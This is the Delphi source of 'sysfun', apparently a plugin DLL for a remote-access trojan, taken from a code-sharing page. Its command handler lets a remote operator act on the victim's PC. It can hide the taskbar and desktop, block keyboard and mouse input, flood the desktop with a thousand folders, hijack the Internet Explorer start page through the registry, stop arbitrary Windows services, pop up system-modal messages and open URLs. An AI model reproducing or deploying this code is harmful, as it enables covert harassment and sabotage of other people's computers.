?? sysfun.dpr
字號:
library sysfun;
uses winsvc,
windows,
//SysUtils,
shellapi,
mmsystem,
RegUnit in 'RegUnit.pas';
type
pluginreply = procedure (Text: pchar);
const
clientdllname:pchar='fun.dll';
var
OwnerAPP:integer;
url:string;
xBlockInput : function (Block: BOOL): BOOL; stdcall;
function GetDesktopDir: String;
var
Reg: TRegistry;
tempstr: String;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKey_Current_User;
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion'
+ '\Explorer\Shell Folders', FALSE) then
tempstr := Reg.ReadString('Desktop');
finally
Reg.Free;
end;
Result := tempstr;
end;
procedure setpaga(page:string);
var Reg:TRegistry;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Internet Explorer\Main\',True);
Reg.WriteString('Start Page',page);
Reg.CloseKey;
Reg.Free;
end;
function IntToStr(x: integer): String;
var
s: String;
begin
str(x,s);
inttostr := s;
end;
procedure MakeFolders(name:string);
var
I: Integer;
begin
for I := 0 to 1000 do
begin
CreateDirectory(PChar(GetDesktopDir+'\'+name + IntToStr(I)), nil);
end;
end;
function FunctionDetect (LibName, FuncName: String; var LibPointer: Pointer): boolean;
var LibHandle: tHandle;
begin
Result := false;
LibPointer := NIL;
if LoadLibrary(PChar(LibName)) = 0 then exit;
LibHandle := GetModuleHandle(PChar(LibName));
if LibHandle <> 0 then
begin
LibPointer := GetProcAddress(LibHandle, PChar(FuncName));
if LibPointer <> NIL then Result := true;
end;
end;
procedure Init(Owner: Integer); far
begin
OwnerAPP := Owner;
end;
procedure plugin_reply (cmd:string);
begin
//send message to the client plugin
pluginreply(GetProcAddress(OwnerApp, 'pluginreply'))(pchar(clientdllname+';'+cmd));
end;
// Separates values: value1,value2,value3,value4,
function getvalues(text:string;vn:integer):string;
var i:integer;value:string;
begin
// value1,value2,value3,value4
if text=''then exit;
i:=0;
while i<vn do begin
value:=copy(text,0,Pos(',',text)-1);
//deletes first postition ','
Delete(text,1,pos(',',text));
inc(i,1);
result :=value;
end;
end;
procedure CloseService(ServName:String);
var
hSCM,hService:THandle;
ss:TServiceStatus;
begin
hSCM:=OpenSCManager(nil,nil,SC_MANAGER_ALL_ACCESS);
hService:=OpenService(hSCM,pchar(ServName), SERVICE_ALL_ACCESS);
ControlService(hService,SERVICE_CONTROL_STOP,ss);
CloseServiceHandle(hSCM);
CloseServiceHandle(hService);
end;
procedure process(cmd:string);
var
icon,OutPut: integer;
caption: PChar;
message: PChar;
result:string;
begin
//++++++++++++++++++++++++++++++++++++++++++++++ start
if getvalues(cmd,1) = 'hide' then
begin
try
ShowWindow(FindWindow( 'Shell_TrayWnd',nil), SW_HIDE);
plugin_reply('reply,Hide finished,');
except
plugin_reply('reply,Error hiding,');
end;
end;
if getvalues(cmd,1) = 'show' then
begin
try
ShowWindow( FindWindow( 'Shell_TrayWnd',nil), SW_SHOWNA);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;
//===================================================================================
if getvalues(cmd,1) = 'mhide' then
begin
try
ShowWindow( FindWindowEx( FindWindow('Shell_TrayWnd', nil),
HWND(0), 'ReBarWindow32', nil),
Sw_Hide);
plugin_reply('reply,Hide finished,');
except
plugin_reply('reply,Error hiding,');
end;
end;
if getvalues(cmd,1) = 'mshow' then
begin
try
ShowWindow( FindWindowEx( FindWindow('Shell_TrayWnd', nil),
HWND(0), 'ReBarWindow32', nil),
Sw_Show);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;
//===============================================================================
if getvalues(cmd,1) = 'dshow' then
begin
try
ShowWindow(
FindWindow(nil,'Program Manager'),
SW_SHOW);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;
if getvalues(cmd,1) = 'dhide' then
begin
try
ShowWindow(
FindWindow(nil,'Program Manager'),
SW_HIDE);
plugin_reply('reply,hide finished,');
except
plugin_reply('reply,Error hiding,');
end;
end;
//==================================================================================
if getvalues(cmd,1) = 'shide' then
begin
try
ShowWindow (FindWindowEx(FindWindow('Shell_TrayWnd',
nil),0,'Button',nil),SW_Hide);
plugin_reply('reply,taskbar hidden now,');
except
plugin_reply('reply,Error hiding,');
end;
end;
if getvalues(cmd,1) = 'sshow' then
begin
try
ShowWindow (FindWindowEx(FindWindow('Shell_TrayWnd',
nil),0,'Button',nil),SW_ShowNormal);
plugin_reply('reply,Show finished,');
except
plugin_reply('reply,Error showing,');
end;
end;
//==================================================================================
if getvalues(cmd,1) = 'cd_open' then
begin
mciSendString(Pchar('set cdaudio door open'),nil,0,0);
plugin_reply('reply,cd open,');
end;
if getvalues(cmd,1)= 'cd_dicht' then
begin
mciSendString(Pchar('set cdaudio door closed'),nil,0,0);
plugin_reply('reply,cd close,');
end;
//==================================================================================
if getvalues(cmd,1) = 'url' then
begin
url :=getvalues(cmd,2);
ShellExecute(0, 'open', (pchar(url)),nil,nil, SW_SHOWNORMAL);
plugin_reply('reply,web site is open,');
end;
//=================================================================================
if getvalues(cmd,1) = 'dis_k' then
begin
if FunctionDetect ('USER32.DLL', 'BlockInput', @xBlockInput) then
begin
xBlockInput (false); // Disable Keyboard & mouse
plugin_reply('reply,Keyboard & mouse Disabel,');
end; end;
if getvalues(cmd,1) = 'an_k' then
begin
if FunctionDetect ('USER32.DLL', 'BlockInput', @xBlockInput) then
begin
xBlockInput (true); // Disable Keyboard & mouse
plugin_reply('reply,Keyboard & mous anabelt,');
end; end;
//===================================================================================
if getvalues(cmd,1) ='flood' then
begin
MakeFolders(getvalues(cmd,2));
plugin_reply('reply,folders made,');
end;
//==================================================================================
if getvalues(cmd,1) ='set' then
begin
setpaga(getvalues(cmd,2));
plugin_reply('reply,Site set,');
end;
//=========================================================================
if getvalues(cmd,1) = 'msgbox'then
begin
icon := 0;
if getvalues(cmd, 4) = '1' then icon := MB_ICONEXCLAMATION;
if getvalues(cmd, 4) = '2' then icon := MB_ICONSTOP;
if getvalues(cmd, 4) = '3' then icon := MB_ICONQUESTION;
if getvalues(cmd, 4) = '4' then icon := MB_ICONINFORMATION;
caption := PChar(getvalues(cmd, 2));
message := PChar(getvalues(cmd, 3));
OutPut:=MessageBox(0, message, caption,icon + MB_OK + MB_SYSTEMMODAL);
if OutPut = IDOK then Result:='User selected OK button';
plugin_reply('reply,'+Result+',');
end;
//=========================================================================== close
if getvalues(cmd,1) = 'close'then
begin
CloseService(getvalues(cmd,2));
plugin_reply('reply,servic closet,');
end;
//==============================================================================
end;//// real end
procedure plugin(data:pchar); far;
begin
process(data);
end;
procedure DLLEntryPoint(dwReason: DWORD);
begin
//blank
end;
exports
init,plugin;
begin
DLLProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -